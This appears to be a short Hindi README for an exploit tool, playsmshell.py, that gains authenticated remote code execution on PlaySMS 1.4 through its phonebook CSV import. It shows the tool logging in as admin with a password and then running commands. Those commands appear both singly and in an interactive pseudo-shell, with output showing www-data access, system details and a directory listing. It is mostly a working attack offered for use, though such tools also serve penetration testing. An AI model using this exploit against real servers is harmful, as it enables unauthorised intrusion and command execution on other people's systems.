
PlaySMS 1.4 के प्रमाणित RCE के लिए शोषण
फोनबुक CSV अपलोड समस्या के माध्यम से दूरस्थ कोड निष्पादन करने की सरल विधि, जैसा कि ExploitDB पर वर्णित है।
या तो एक एकल कमांड चलाएँ:
% python3 playsmshell.py --url http://localhost/playsms --password playwithsms -c 'id'
[*] Grabbing CSRF token for login
[*] Attempting to login as admin
[+] Logged in!
[*] Grabbing CSRF token for phonebook import
uid=33(www-data) gid=33(www-data) groups=33(www-data)
%
या शेल जैसा कुछ अनुकरण करें:
% python3 playsmshell.py --url http://localhost/playsms --password playwithsms -i
[*] Grabbing CSRF token for login
[*] Attempting to login as admin
[+] Logged in!
[*] Grabbing CSRF token for phonebook import
[+] Entering interactive shell; type "quit" or ^D to quit
> uname -a
Linux localhost 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:22:43 UTC 2018 i686 i686 i686 GNU/Linux
> ls
config-dist.php
config.php
inc
index.php
init.php
lib
plugin
storage
> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
>